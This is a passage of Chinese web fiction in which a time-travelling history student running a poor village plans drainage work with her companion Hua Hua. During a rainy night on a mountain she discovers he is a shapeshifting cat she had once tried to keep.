“对!”桃儿点头,表示赞同,又面向周小吉,“谢谢小吉姐姐,我能认识这么多字,还得感谢你呀!”
周小吉很矜持地微微一笑,然后又俯身,轻轻点了点她的头:“不过你刚刚是说了‘基本’吧?怎么,还有很多不认识的吗?”
桃儿后退了一步,这会她的骄傲神色褪去了大半,呵呵笑道:“嗯。”
“不过,我认得可比柳儿多!”
这会才走了过来的柳儿在听到自己的名字后一脸疑惑:“什么事,在喊我吗?”
“不信你们亲自问他嘛,是不是我认识的字比他多!”桃儿鬼精鬼精的,捉住柳儿的手顺势一拉,挡在自己的前面后又用双手攀住了他的肩膀,“柳儿,你说是不是!”
原来是这样,柳儿点头,诚实道:“嗯,桃儿确实比我认得字要多。”
“你们两个!”周小吉忽一声断喝,吓得这两个孩子立刻鹌鹑一般缩在了一起,柳儿将桃儿护在身后,结结巴巴地说:“我们,我们会学的,会,会好好学的。”
紧接着桃儿就把柳儿拉走了,离得稍远些了,桃儿还探头探脑地看,被发现了就咧嘴一笑,哪还有半点害怕的样子。
余玥玺忍俊不禁道:“周老师还当真有个老师的样子,不过也好,这样才镇得住他们。”
周小吉则是问:“我刚刚的那个样子有吓到你吗?”
“怎么会,只是让我看到了你的另一面,也不错!”眼见着村民们已经到期了,余玥玺再次拍了拍她的肩膀,“去吧,我会在你的背后一直支持你!”
“好,我会努力的。”
余玥玺看着周小吉走向前去,在最前方站定,只用了几句话就让全场安静了下来,然后一句一停,带着全场村民一同诵读,听了几句话以后,余玥玺相当满意,她便离开了此处,想要四处看看,哪些地方积水较为严重,如果有必要的话,还需要进行疏通。
疏通水道……这听起来是她一个区区历史生能做到的吗?论理论,她能将大禹、李冰西门豹等人在治水方面的功绩讲得头头是道,从时间到做法再到历史地位及对后世的指导作用迅速从脑中调出。
但若是实践的话,怕是难如登天。
“余大人,您在想什么?”
余玥玺回过神,发现是华画,她便回答:“在想排水的问题。”
“一下大雨,烂泥村就会积水,这是个很严重的问题,所以我在思考,要怎样做。”余玥玺微微蹙眉,“你怎么跟着我来了?你应当在听小吉讲课才是。”
华画先是小声嘀咕“抄了那么多遍早就记住了”,然后才说:“我看你好像在烦恼什么事,有些不放心,所以我就跟来了。”
“烦心事也就上面那一桩了,若是能彻底解决的话,我也算是烂泥村最大的功臣了。”余玥玺开玩笑道,“不过我一个人肯定是办不到的,还请你多多协助啦。”
华画激动不已地点头如捣蒜:“那是自然,我一定会鼎力相助。”
“但是有的时候啊,我还真的怀疑过你的动机。”余玥玺静静地看着他,脸上仍有一丝清浅的笑意,“你来的太过凑巧也太过及时,身份背景扑朔迷离,我对你一无所知,你对我也似乎并不完全了解。”
她停顿了一会,似是在看华画脸上的表情。
华画的心脏狂跳不止,他感觉冷汗已经冒了出来,头也晕乎乎的,颇有些头重脚轻的感觉。
“可是我……是真心的。”
他的声音干涩,眼睛也不敢看余玥玺了,直往脚下瞟,又重复了一遍刚刚才说过的话:“我是真心的。”
“我没有那种想法……不对,有那种想法。”
余玥玺憋着笑看华画盯着自己的脚尖,他像是一个刚刚才被教训过的学生一样,嘴里还像是在说绕口令一般念念有词道“没想法、有想法。”
“嗯?什么想法?”余玥玺走到了他的面前,于是华画的视野中多出了一对脚,他慌乱抬头,正巧对上余玥玺探究的眸子,那双眼睛乌黑透亮,像是能读出他内心的想法一般,他只是那么看了一眼,整张脸就变得像秋天树上挂着的柿子那样红了。
华画的腿软了一下,眼睛又开始乱瞟。
“你还没有回答我,你有什么想法。”余玥玺这会倒不依不饶起来了
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,“还有,什么叫‘我是真心的’?”
此后有相当长一段时间的静默,风安静地吹着,太阳也从密布的云层后现身,阳光柔和。风中传来周小吉清晰的声音“生水脏,莫直饮;滤清井,需三道……”
“真好啊,你听,他们都在很认真地学习呢。”
华画摸了一把自己的脸,下定决心般抬起头,又坚定地说了一遍:“我对你是真心的,我只想站在你的身边,没有其他的想法,仅此而已。”
“我知道,我看的出来。”余玥玺语气平和,“从你的眼睛来看就能看出,你没什么心机。”
“虽然我对你的出现持警惕态度,但是我也知道你并没有恶意,所以我让你留了下来。虽然你给我的第一印象是一个没什么脑子的养尊处优的小公子,但是有时你又让我觉得你是个刚从山上被捉下来的猴子,嗯,安静的猴子。”
华画疑惑且艰难开口:“为什么是,猴子?”
可恶,为什么是猴子啊,猴子有什么可爱的?
余玥玺思索了一阵子后,很不确定地回答:“因为猴子和人比较像?我又不能说你是野人吧?”
“或许也可以说,社会化程度低到可怕,不过这个词你肯定是听不懂的了。”
华画确实听不懂,不过前面那句“我懂你的眼睛”倒是让他有些心旌摇曳,他傻笑着问:“余大人,我的眼睛,是什么样子?”
余玥玺看着他的眼睛,又是微微一笑:“很漂亮,很平静,像是正午的湖面,没有一丝雾气,透亮的,一看便能知你的想法。”
“呵呵呵呵。”华画立即笑出声,眼睛也眯了起来,看起来倒是一如既往的不会隐藏情绪。
笑过之后,华画又开始表忠心:“既然余大人都已经这么信任我了,所以你今后的每一步计划都可以将我第一个包含在其中吗?只要你想,我什么都可以办得到!”
看着他这一脸热切的表情,余玥玺也不好拒绝或是说一开始就没有拒绝的想法,她拍了拍华画的头顶:“可以啊,当然可以。”
“还有,你真的什么都可以办到吗?”
华画连忙回答:“真的,是真的!我有这个能力,就一定会尽力。”
“这便是我疑惑的第二点了,你看起来不像是鲁莽的人,却一次又一次地说你什么都可以办得到。”余玥玺缓缓道,“你也确实展现出了部分‘超出常人’的能力,我还真的很好奇你是怎么办到的呢。嗯,怎么样,要告诉我吗?”
华画仅仅只是思考了一会儿就不疑开口:“我是……”
“好了,不需要你说,我没有窥探别人秘密的爱好,哪怕是对方愿意说出口的。”余玥玺做了一个“停”的手势,“如果可以的话,我想亲自挖掘,这样会更有意思一点不是吗?”
看着余玥玺脸上似是狡黠的笑容,华画又点头,像是不管余玥玺说什么,他都只有点头这个反应一样。
“行啦,既然那歌谣你都已经熟了,那你便随我回去,我再翻翻书,看看能不能找到什么疏通水道的法子,好吗?”
华画果不其然,又同余玥玺所预料的那般乖乖点头:“好。”
“你好像一个鹅。”
“什么?”
“没什么,快走吧。”
“哦,好的。”
30.如此过目不忘
村中人此时都在古井槐树旁学习,因此在两人回家的路上没看见半点人影,只有洪水退去后不知从哪再次回来的狗们,不远不近地跟着,个别大胆的还凑上来嗅闻余玥玺的裤脚或是冲着华画低吼。
余玥玺倒是泰然自若,华画则显得尤为紧张。
“这狗好烦人,我把它们赶走好不好?”
“赶它们做什么?它们不是很可爱吗?”余玥玺向来喜欢猫狗一类毛茸茸的生物,她欢喜地用手指逗弄着跃跃欲试扑上来的狗,直到一条黄狗真的被逗得忘乎所以直扑上来的时候,华画连忙挡在了余玥玺的面前。
啪叽一声,华画被一条狗给踹倒坐在了地上。
他脸色有些阴沉,眼见着那黄狗热烘烘的嘴就要伸出舌头来舔自己的脸时,他竟是忘记了动,只紧紧闭着眼睛,像是看不到就等于没发生一样。
“嘬嘬嘬,来,狗狗。”余玥玺很是及时地将狗又唤了回来,那狗嘤嘤直叫,就差在地上打滚了。
华画爬了起来,他仍心有余悸:“好可怕的狗,不过余大人你还真是很受欢迎啊,不管是人还是牲畜,就没有不喜欢你的。”
余玥玺先是点头,然后才摇头:“不,有一个不喜欢我。”
“什么?”
“一只猫,名叫花花。”余玥玺叹了口气,“看着挺可爱的,但结果总是和我对着干,明明它只要跟着我,就会有住处,就可以吃喝不愁,但结果它还是选择了自由,弃我而去了。”
华画一时哽住,他望着余玥玺有些落寞的侧脸,而后轻声开口:“或许他没有离开你呢?只是换了一种方式陪伴在你的身边?你这么好,没有谁会舍得弃你而去。”
“谢谢,我知道你在安慰我。但离开就是事实,小家伙确实不喜欢我。”余玥玺苦笑了一下,“我也没想强行留下它,虽然当时我在见到它的时候已经做好了被它吵被它闹的想法。”
华画依旧坐在地上,傻愣愣地看着余玥玺,眼神有些困惑与不解:“真的看起来就不乖吗?”
“并不,看起来倒是讨巧的很,不过算不上机灵,不然也不会连逃跑都做不到被我捡到。”余玥玺脸上的笑意展开了些,她笑道,“怎么,你也想养猫吗?我还记得你说过你喜欢猫来着的。”
华画没摇头也没点头,看起来倒是更像呆鹅了,只是这鹅的身上还沾了一堆泥点子。
余玥玺向他伸出手:“怎么,你很喜欢坐在泥里的感觉吗?快起来吧。”
华画接过余玥玺伸出的手,自己再使了一把力,磨蹭着站了起来,他低着头用力地拍了拍沾着泥浆的衣裳,声音很轻:“谢谢。”
“呆呆的。”余玥玺道,看着他的眼睛也是笑眯眯的,这让华画更不好意思了,他只能无力地小声辩驳。
“我不呆,只是……没反应过来。”
“好好好,你不呆。那不呆的华公子,请为我献上你的智慧好吗?”余玥玺似是真诚又似是调侃。
华画的脸红了又白,白了又红:“好,只要我能帮到你,但我应该没有你聪明。”
“无妨,智慧的头脑固然是我所需要的,但是我更需要的是一个愿意追随我的人,可以将我的一切设想变作实际。”
“你就很合适。”
华画当真是欣喜,他一个劲儿地继续点头,除了点头便是“好”。
“那便随我来,我再从书中看看能否找到相关内容。”余玥玺一步上前走去,她有些忧愁。
不是因为担心能否找到史书记载,而是在这个穷乡僻壤之处,她根本无从考证这是哪个朝代,如若是运用上了在课堂上所学内容,误打误撞将后世治水的法子用出来可就糟糕了。
无意剽窃成果,因此如果有具体的法子就好了。
待走回到家中后,余玥玺立刻坐进了椅子中,再次在那一堆书中挑挑拣拣,说来也怪,明明在刚到的第一天就整个地翻了而且还整理了一遍,理应说就算不是烂熟于心也是眼熟,但目前来看,似乎不是这样,简直一点认不出来!
余玥玺将最上面的一本《染料与纺织》翻到一边,又忍不住在想,别人穿越又是系统又是金手指,到她穿越,除了这堆仿佛看不完的书以外,还真就什么都没有了。
虽说内容确实是一应俱全的。
但她仅仅只是思考了一瞬就将这个问题抛之脑后,假的,全都是假的,只有她在处理积水这件事是真的。“自己”也没个完整的史料流传到后世,唯一的那本记载着“余玥溪”的小传还被自己给弄丢了。
当真可惜。余玥玺又轻轻叹了口气。
华画站在她的身旁扭扭捏捏,她有一种被打扰了的反感:“坐下,别晃!”
“不好坐。”华画委屈道,“我怕把你的家具弄脏了,我身上全是泥。”
余玥玺这才抬起头,不是什么大问题,于是她平淡开口:“脱了。”
“啊?脱了?”声音有一点惊慌。
“对,脱了,但我又没让你裸着。”余玥玺站起身,从箱子里取出一件外袍,整个地丢给了华画,“先暂且穿着这个,我也只能给你这个了。”
华画先是脱掉了脏污的衣裳,抖了一阵子后才披上那件宽大的外袍,两手一拢,将自己给包了起来,瑟缩地坐在了余玥玺身旁,又自觉离开了一点距离。
余玥玺看着华画微眯起眼睛,只漏出一颗毛茸茸的脑袋在外,脸埋在外袍上的那一圈绒毛里,看起来倒是有趣,她便有意想要逗弄华画:“华画,有人说过你长得很可爱吗?”
“啊?”华画一时还尚未反应过来,他被脸上柔软蓬松的触感给吸引住了,好半天才回忆着支支吾吾地开口,“有……”
说的是那次雨中的事情。
“不过就她一个这么说过,我其实是不信的,但我又想信。”
“唉,所以你到底是哪家养尊处优的小公子呢?”余玥玺托腮,侧过头去看华画,语气说不上来的复杂,“真的能够做到只看了我一眼就不顾一切来追随我了吗?你家里人知道吗?他们真的同意了?还是你一个人偷偷跑出来的?”
“嗯,按道理来说,既是皇城来的,还有点家底,怎么说也得有一身本领吧?不是在武学就是在文学。”余玥玺又开始回想在现世时看过的各类小说,“除了你这脸,别的我可是一点不敢信。一定是你的家里人将你养得很好吧?”
这一番话,在华画听来,那便只有一个中心思想,那就是赤裸裸的三个大字:你没用。
“胡说,我很强的,只是不好表现出来而已!”华画嘟嘟哝哝道,“我这脸反而才是我不想要的,一点气概都没
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有。”
“但是我完全看不出来你有多厉害。”余玥玺真诚道,“不过你也不要太沮丧,这世间不是‘你必须得强过所有人’才算强,比昨天的你强也算是强。”
华画从未听过如此言论,一时之间有些震惊,但他还是几乎下意识地——点了点头。
“你也只会点头了。”余玥玺忍不住又笑了出来,她将一本薄薄册子拍在了华画面前,挑了挑眉,“来,书我找到了,居然还真有几本,这一本不太厚,你暂且先看着,提炼出重要部分,或者,直接原封不动地抄录下来。”
余玥玺又将一支毛笔轻轻压在了书封上:“墨还有,是研好的,喏,看吧。”
华画翻开册子,先是粗略地扫了一眼目录,又悄悄转过脑袋去看余玥玺,很好,她已经读进去了,那么自己也可以进行一点,小动作了。
他勾了勾唇角,对着毛笔头轻轻吹了一口气,又沾满了墨汁后在封面处点了一个浓黑的点。这一切的小动作当然没被余玥玺看见,她依然在专注地看着手中的书,眼睛微眯。
接着,华画又将那点墨汁沾在了手指上,点在了自己的眉心,瞬间书中的一切内容尽数被他所悟。
果真有用,他暗暗得意,装作继续翻书的样子以混淆视听。
“你翻得好快,真的看明白了吗?”被华画翻书页的声音吵到的余玥玺终于抬头,眉宇间有一丝恼怒,却在看到华画脸的那一刻松弛了下来,“你在扮什么鬼脸?哎哟,脸上全是墨汁。”
华画后知后觉,立即就抹了一把脸,反而将那一点墨涂抹得更均匀了,余玥玺的脸上带着笑:“呆呆的。”
这下华画不好反驳了,他匆匆站了起来向门外跑去。而余玥玺则是随意地翻了翻他所阅读的那本书,除了封面处一个甚是可疑的黑点以外,里面居然是一点没有被阅读过的痕迹。
这个人,还真是……余玥玺微微摇头,一点都不成熟。
带着满脸水珠的华画回来了,他像是没事人一样重新坐了下去,刚想翻开书,却被另一只手抢了先,那手拾起书,随意翻开到某一页,沉声问:“疏通水道的第一步是什么?”
“应先前往高处,观察水势走向以及天然沟壑,同时也可一同观察堵塞点在何处。”
答得竟是不错,余玥玺有些吃惊,又接着问:“那如果堵塞点淤堵严重且有重物堆积又当如何?”
华画不假思索,再次回答:“可以将重物敲碎分批运走,或寻一长物做支点,节省人力抬走。”
居然也相差无几,余玥玺合上了那本书,心悦诚服道:“看来你在这方面还是有点本事的嘛,怎么做到的?”
被夸了的华画居然还懂得谦虚:“我自幼就有这过目不忘的本领,不过也就这一个本领了,能得到余大人夸赞,实属是……三生有幸。”
“不会用就别用,哪有这么夸张。”余玥玺合上自己面前的那本书,面上笑容似是狡黠,“那几本书,你也一同全看了吧!”
求之不得!华画很高兴地应下了。
“明日你便同我一起上山吧,看看水势走向,然后定下一个合适的方案,争取早日解决烂泥村积水危机。”
华画还是一如既往地没有其他表示,依旧是点点头,说上一句不曾存疑且坚定的“好”。
31.是猫
当晚余玥玺睡了一个踏实的觉,尽管还是不可避免地做了梦,但梦是好梦。
在梦中她回到了她的那个时代,正值开学季,她同朋友在操场散步聊天,一边观察新生军训,一边看并指点哪个学弟好看。
“怎么都乌漆嘛黑的?哪看得出来好不好看啊?资质平平,朕且退了。”她的朋友拿腔拿调,作势要离开。
但余玥玺心情很好地说:“别走啊,哪里都是黑炭一样的了?不啊,你看那个就很白。哦呦,眼镜借我戴戴,我瞅瞅啥样!”之后她不由分说一把从朋友的脸上取下眼镜,戴在了自己的脸上。
“呵,大眼睛,我喜欢。”
朋友又立即夺回了自己的眼睛,一双眼睛往余玥玺指的方向看去:“果然挺白的,不过你居然喜欢这一款的啊。”
“和你口味不一样是好事啊。”余玥玺笑嘻嘻地拍了拍朋友的后背,“这就见识见识物种多样性。”
“你又在胡言乱语了,等等,那个也不错……”
阳光强烈,余玥玺的视力本就不佳还不喜欢戴眼镜,她努力地眯着眼睛去看那个白得发光的学弟。
啧,真白,羡慕。
鬼使神差一般,她踮起脚尖招了招手。
方队此时正在训练“向左转向右转”,白学弟就在“右转”的时候看见了她。
他同样举起了右手招了招。
忽然视野变得清晰,白得发光的学弟的脸也清晰了,好眼熟,是谁啊?是不是在哪里见过?
就算是在梦中,余玥玺也不禁陷入了思考当中。
一个想法电光火石一般从脑海中闪过——华画!
紧接着,似是华画的声音在耳边响起:“我,我心悦于你。”
轰——操场突然塌掉了,连同她脚下的那一片一起塌掉了。
不好!余玥玺惊魂未定,从梦中醒来。
为什么每次都要以这种方式醒来啊,对心脏相当不友好的好吗?
明明前半段很正常,怎么一到到后面就又变成了这样?还有那句“我心悦于你”更是让余玥玺不知该作何表情了。
噫,可怕。
余玥玺坐在床上,揉了揉自己的脑袋和脸,难道这就是传说中的日有所思夜有所梦吗?但是这梦也太诡异了一些。且不说华画怎么就莫名其妙地来到了她的那个时代,就是他的那句不合时宜的表白也怪的不行。
难不成自己在潜意识里希望他这样做的吗?
不可能,绝对不可能。
愈想愈烦躁,但她好歹也算是没忘记今天要同华画上山的事情,带着一身的“不情愿”,她还是从床上爬了起来,将屋后的井水用明矾砂石过滤了之后做了个简单的洗漱,冰凉的水拍在脸上的触感让她彻底清醒。
梦就是梦,怎么会是真的呢?难不成自己还真的在期待什么吗?
简直就是无稽之谈,余玥玺自嘲地笑了笑,擦净脸上的水后,便开始给自己做一顿简单的早饭。食物和柴火都是村民们送来的,许久没有用过的锅也在昨晚里里外外整个地洗了一遍。
现在唯一的问题便是她能否成功生火了。燧石有的,火绒也是有的,从废弃的锄头上敲下来的一块碎片也捏在手中。余玥玺一手持着燧石,一手握着锄头碎片,用力一刮——声音很刺耳,但没产生一点火星。
如此又敲了几下后,除了虎口被震麻了以外竟是一点火星都没敲出来,就在余玥玺思索到底是是直接囫囵吃下冷食还是同这破石头死磕到底的时候,厨房门口响起声音:
“余大人,你是遇见麻烦了吗?”
余玥玺抬头,是华画,她继续用力地刮了一下,这次居然顺利地产生了火星,火星崩落到干燥蓬松的火绒上时迅速燃了起来,余玥玺又当即以火钳夹起来送入到灶炉当中,看这火焰逐渐燃起,她才回道:“没事,已经解决了。”
接着她又招了招手:“来烤火吗?暖暖的,可以祛湿气。”
华画走上前,在余玥玺身旁蹲下,火光明亮且温暖,在炉膛中微微跳跃,一时静默,只有燃烧木头的“噼啪”声作响。余玥玺用火钳翻动着木头块,使木头燃烧得更充分一些。
她虽然没有正儿八经在农村待过超过连续一年的时间,但寒暑假的时候总是会回到乡下老家,她最喜欢做的事情之一,便是在烧饭的时候坐在炉灶前,让火将自己的脸烤得热烘烘;或者将一根稍细一点的树枝伸进去,燃起火来了便拿出,再像吹蜡烛一样吹掉那一簇小火苗。
如此幼稚的小游戏,她总能玩得乐此不疲。
余玥玺陷入回忆当中,她的脸被照得亮堂堂,她的笑容比火还要有感染力。华画的一门心思全在这上面了,总是频频侧目。
浓烈的白烟蒸腾而起,丝丝缕缕的香气也随之飘来。
“早上吃过了吗?要不要一起吃?”余玥玺热情地发出邀请,“村民们给了不少吃的,我一个人也吃不完,会浪费的。”
华画站了起来,拍拍发酸的小腿道:“好,有劳了。”
“这么客气做什么?”余玥玺灭掉火后也站了起来,她从橱柜中取出碗筷,自然而然地递给了华画。
一共两层,上面是华画相当熟悉的漆黑饼子,下面是看起来颜色混杂的粥,见华画掀锅盖的手顿在半空,余玥玺便道:“情况就是这样,这已经是很好的东西了。”
华画稍侧过身子,又将锅铲递给了余玥玺:“看起来不多,你先盛吧。”
“唉,你是真谦让还是真的不想吃?”余玥玺倒是没再多说什么,她盛了一碗粥,又将饼子盛到盘中,最后又将一盘腌野菜放在了灶台上,“你等会顺便把这个端过来。”
没有餐桌,把桌上依旧没来及收拾的书再往内侧推了推,勉强空出一片可供二人吃饭的地方。余玥玺没来由的有些心虚:“等这次回来就收拾好。”
华画探头看了眼天道:“天气很好,只可惜今天还有其他事,不然就可以将这些书摊在外面晒一晒了。”
“明天嘛,也来得及的。”
“或许我们该想想这次上山需要带什么了,去多长时间,路线又怎么安排?”
华画开口:“这个没问题,我来,我对认路也相当在行,保证不会迷路。”
余玥玺的表情逐渐敬重起来:“厉害。”
二人刚一跨出门槛,乔河便又从屋顶上跳了下来,动作流畅地行了个礼:“余大人好,请问您是有什么要紧事吗?”
“对,我要去山上一趟,若是有人问起我的去向的话,如实回答就好。”
“那请问您大概什么时候能回来?我也好让他们都放心些。”
余玥玺道:“晚饭前定能回来,再晚的话就比较危险了。”
乔河抬起头,又看向华画,语气似是不经意:“华公子也要去吗?”
“嗯,怎么你也想去吗?”华画不满道。
“那倒没有。”乔河盯着华画看,语气认真且严肃,“那么,请你好生照看着她,她若是出了事……”
“不会有事,我不会让这种事发生的。”
华画的眼神难得的有些锐利。
“只是上个山而已,哪有这么严重?”余玥玺感到困惑,也为这空气中莫名的焦灼对峙有些不安,“说不定下午就回来了呢?不会出事的。”
乔河放松了下来,他又向余玥玺行了一礼:“请大人务必平安归来,也好让我继续替您做事。”
他见华画的眉毛又拧了起来,平淡补充道:“也是为了我的家人。”
余玥玺笑了,大度道:“行,我明白!走了,华画!咱不耽误时间了,早去早回!”
华画深深地看
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了一眼乔河后才跟了上去。
这次走的不是几天前所走过的山路了,而是换了一条可以直达山顶的路,站得越高才越好发现河流水势走向,也好发现哪处淤堵严重,在纸上做好标记后便可顺道一起解决,同时高处视野也会更加清晰。
余玥玺此番上山,还带有另一个目的。据说山上的奇珍异草有不少,古往今来,这些东西都是金贵的很,若是可以寻到的话,便可在山下集市中售卖,所获得的钱财可用于建设烂泥村。
一个最好的结果便是达成“供应商与资金提供者”的完整产业链,烂泥村背靠大山,物产资源定当丰富……
“余大人小心!”一只手牢牢地扣住了她的手腕。
余玥玺吓出一身冷汗,才发现自己若是再走偏几步,那就要坠入山底了,她生出劫后余生般的庆幸,又在暗暗埋怨自己怎么又犯老毛病了,她只好真诚微笑:“谢谢!”
华画欲言又止:“余大人,你在烦恼什么?我看你一直心不在焉。”
“别误会,老毛病了,一思考就和进入了‘无我’境界一样,外面发生了什么都不知道。”余玥玺道,“并不是在烦恼,只是在想,这山里有没有什么可以拿到外面卖的。”
华画面露喜色道:“余大人居然有这个想法吗?真好!恰好我对这些也非常了解,可以在路上顺便采一部分带回去!”
“然后就让乔河去外面集市上卖!”余玥玺见华画也懂,便欣喜地接了下去。
此时二人已抵达山顶,山顶的风甚是强烈,视野倒是一望无际,余玥玺将手掌贴在眉上,极力眺望远方,奈何视力不佳,只好拜托华画再帮忙。
华画低头“唰唰”几笔在此前乔河所绘制的地图上描绘出河流走向与淤堵地点,个把时辰后,头顶的云层忽然厚实了起来。
“嗯?不对?”余玥玺心道不妙,这色彩看起来略微发灰,再加上不知何时而起的冷风,竟是一副快要下雨的样子。
余玥玺终是见识到了山中气候复杂多变的这一特点,高中时感触尚不明确,如今确实切实体验到了。来不及多想,她冲华画喊道:“别管地图了,我们快跑,天要下雨了!”
华画仅仅是怔楞了一瞬,就反应过来了,他环望四周,像是在判断地形,而后指了一个方向方向道:“我们走这边!我记得此处有一塌陷形成的小山洞,虽然不够大。”
但说着说着他停了下来,摇头道:“怕是不妥,我再另寻他处瞧瞧……”
但余玥玺等不及了:“眼下怕是马上就要下雨了,没什么不妥,只要能稍微挡一下雨就好。”
良久,华画再次点头:“好。”
当余玥玺看到那个山洞的第一眼,就明白了华画的顾虑。
因为它实在是太小了,小到只能容纳一人多一点。
一人绰绰有余,两个人便稍显拥挤了。
“没关系,就先挤挤吧。”余玥玺说着便弯腰坐了进去,“反正这雨也不会下很久,来吧。”
华画很是拘谨地侧着身子坐在了余玥玺的对面,他不敢抬头,只好抱着膝盖将脸埋在里面。
雨声淅淅沥沥,有少量雨丝被风吹了进来。声音催眠,不多时余玥玺就睡着了。
雨下了很久,等到余玥玺再次醒来的时候,天色已晚,但雨仍旧在下着。
“不对劲啊。”余玥玺担忧地望向洞外,“等会就算是雨停了,下山也不好下了……”
余玥玺又将自己裹紧了:“嘶,有点冷。”
华画有些紧张:“嗯,你很冷是吗?或许我可以……请你千万不要在意,我并非有意骗你……”
“你骗了我什么?小问题就算了,大问题我可绝对不会饶了你……”余玥玺的眼睛逐渐瞪大,眼前的场景完全超出了她的认知。
“你是猫?”
32.故事与现实的界限
余玥玺自认为是一个相当大胆且思维活跃的人,儿时听到的一切恐怖故事或者是都市怪谈,她都听得津津有味,有时甚至还会脑补的更可怕一点,虽然自己也被吓到过,但占据上风的更多是探究与好奇。
乡下家中的后院,每到半夜就会响起“窸窸窣窣”的声音;城市家里的二楼阁楼顶,有时会出现不像人留下的痕迹;不管是小学初中还是高中,总有一片“不能去的地方”……
可以说,她对这些怪谈的兴趣要远远超过普通的故事。
因为不管再怎么故弄玄虚装神弄鬼,都是假的,或许背后甚至还会隐藏着一个搞笑的、感人的抑或是可悲的故事。
但眼前的景象,全然超出了余玥玺认知范围。
华画,他一个好端端的人,怎么能就这样变成一只猫呢?还是在她的眼皮子底下亲自变的!
那时她应该把头扭过去或者把眼睛闭起来的,可她就像是被施了个定身咒一样,直勾勾地看着华画,看到了他变成猫的整个过程。
余玥玺颇有些头晕目眩,自己一定是还没有醒过来,这梦也太真实了些,快醒过来啊!她掐了掐自己的脸颊肉,疼痛瞬间蔓延开来,疼得她抽了口冷气。
完了,是真的。
面对着这猫,余玥玺头一次没产生“要摸摸”的想法,她只能眼睁睁地看着华画变得猫一步一步向她走去——并在她的脚尖前停了下来。
余玥玺的心噗通狂跳,除了雨声与风声,狭窄的山洞中只能听见她紧张的呼吸声。
不要再靠近了,不要再靠近了,再靠近的话人就要炸了。余玥玺瞪大眼睛,看着那只端坐下来的猫,它甚至还用尾巴盖住了自己的爪子,歪着头似是好整以暇地回望余玥玺。
“喵。”华画变成的猫轻轻叫了一声,声音相当平和。
借着洞口微弱的月光,余玥玺再次打量了下眼前这只猫,这是一只三花猫,体态匀称毛发蓬松。
倒是有点眼熟。
“花花?”余玥玺很不确定地唤了一声这个名字。
猫的眼睛眯了起来,再次细弱地“喵呜”了一声。
花花?华画?
她在很久之前还在心里笑过这个名字,觉得他的父母也太过随便,怎么能取一个这样看起来好看,听起来怪异的名字。
如今似乎一切都说得通了。
原来花花真的一直没有离开,而是换了一种方式陪伴在她的身边。
“不过,我还是更喜欢猫一点……”余玥玺放松地微微笑道,见花花的耳朵同脑袋一起耷拉了下去,她接着又补充了下去,“身为花花的猫对我三番五次的抛弃,而身为华画的你又多次对我施以援手。”
“所以,还是人更好一点吧?”
花花的头又抬了起来,唇吻两边的胡子轻轻抖动着,一副喜悦的模样,他又试探性地往前蹭了几步,余玥玺这次没有拒绝了,而是带着恬淡的笑容在看他。
他慢慢地眨了眨眼睛,而后纵身一跃,稳稳当当地跳进了余玥玺的怀中,用头蹭了蹭余玥玺的胳膊,又闷声喵叫。
余玥玺此前还能感受到丝丝缕缕的凉意,而现在怀里捧了一个软乎乎的猫,暖暖的,相当令人安心,于是余玥玺也将华画搂得更紧了些。
“就这样,挺好的不是吗?”余玥玺似乎在喃喃自语,她有一下没一下地轻轻抚摸着怀中花花的毛,从头顶一直抚摸到脊背,毛又软又蓬松,带着些许阳光的气息。
虽然时机不太对,但这也是余玥玺幻想中的未来的一个场景:年迈的她行动已经不便了,午后阳光正好的时候,她便会将一张舒适的躺椅放在院落中,城市不好,回乡下,乡下有宽敞的院子。躺在躺椅中,悠悠然地晒太阳,眼睛一闭什么都不用管。
或许,不,是肯定,她会养一只猫,猫可能也已年迈不爱到处跑动,会在她晒太阳的时候跳到她的怀中,同她一起入眠。
怀中的花花像一个小暖炉,呼噜呼噜发出惬意的声音,余玥玺抱着它听着洞外的声音再度昏昏欲睡。
“真好啊,不冷了。”余玥玺的声音模模糊糊,“猫,真好。挺可爱,知道你没有抛弃我的时候我挺开心的。不过,唔,你为什么要变成人呢?”
“就很尴尬你懂吗?我真的没有办法把你和那天晚上半夜跑酷的猫联系在一起。”
余玥玺又低低地笑了起来,那笑声像羽毛一般柔软:“呵呵,这下我可是抓到你的把柄了。以后我要你变猫你就要变猫懂吗?”
“我一直想要一只猫呢,嗯,都怪你,跑什么?我又不会吃了你,我还会给你鱼吃。”
余玥玺的头一点一点的,似乎马上就要睡着了一般,声音也如同呓语:“以后可得赔我……听到没有,说话!”
华画用脑袋蹭了蹭她的手,喵了一声,很久没听到余玥玺的回应,只有睡熟后平稳的呼吸声逐渐响起。
应该是睡着了。华画在心里道歉,事发突然,他也未想好要怎样度过这样一个夜晚。就连变成猫也是下意识的想法,如此依偎着总能暖和一点,但当时的那个情况,变成猫才是最优解。
但变成猫以后呢?华画就不敢再想了,他简直恨不得将自己的脸埋起来一辈子都不拔出来。他尚且可以不说话装聋作哑,但余玥玺是个话很多的人,只要听到了她说些关于花花的话,他还是会有些无地自容。
于是他只好稍稍施展了些小法术,让余玥玺再次入眠。
明日?明日之事明日再想去吧。今日发生的事情已经够多了。
清晨,余玥玺在并不悦耳的鸟鸣声中醒来,怀里像是少了什么一般,她嘟哝道:“花花……猫呢?”
“我在这里。”
余玥玺睁开了眼睛,瞧见华画正站在洞门口,他向余玥玺伸出了手道:“余大人,我们走吧,趁着天色尚明,我们尽快下山,莫让村民们过于担忧。”
“对,要快点回去的,也不知道有没有人知道我一直没回去的事情,还是不要被知道的好。”余玥玺拉住了华画的手,矮着身子走了出来,她揉了揉酸痛的肩膀,摇头道,“不妙,感觉肯定有人知道。”
“小吉,她肯定知道的,我该怎么回答她呢?唉。”余玥玺的语气有一些担忧,“希望她不会对我唠唠叨叨……”
“余大人也不必过于忧愁,人安康便好,周姑娘若是见到你平安归来,定不会多说什么的。”
下山的路泥泞不堪,余玥玺深一脚浅一脚慢吞吞地挪着步子,她时不时看向走在前面明明健步如飞却停下了等她的华画,只觉某种朦胧的平衡被
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打破了。
待回到烂泥村以后,余玥玺才发现门口站着两个人,一个是乔河,另一是……周小吉。
“小玺,你终于回来了吗?”周小吉远远地就看见了她,在余玥玺走近了之后拉住了她的手,眼睛居然有点红,“我担心死你了。”
“是啊哈哈,回来了。”余玥玺干笑一声,内心的不安一扫而空,“什么事都没有,你就放心吧,不过是在山上露宿了一晚,什么事都没有!”
周小吉用手背碰了碰余玥玺的额头:“没着凉吧,你可让我担心坏了。我昨天一大早就来了,没看见你,就问了乔河你去哪里了,他说你和华画去了山上,并且马上就能回来。”
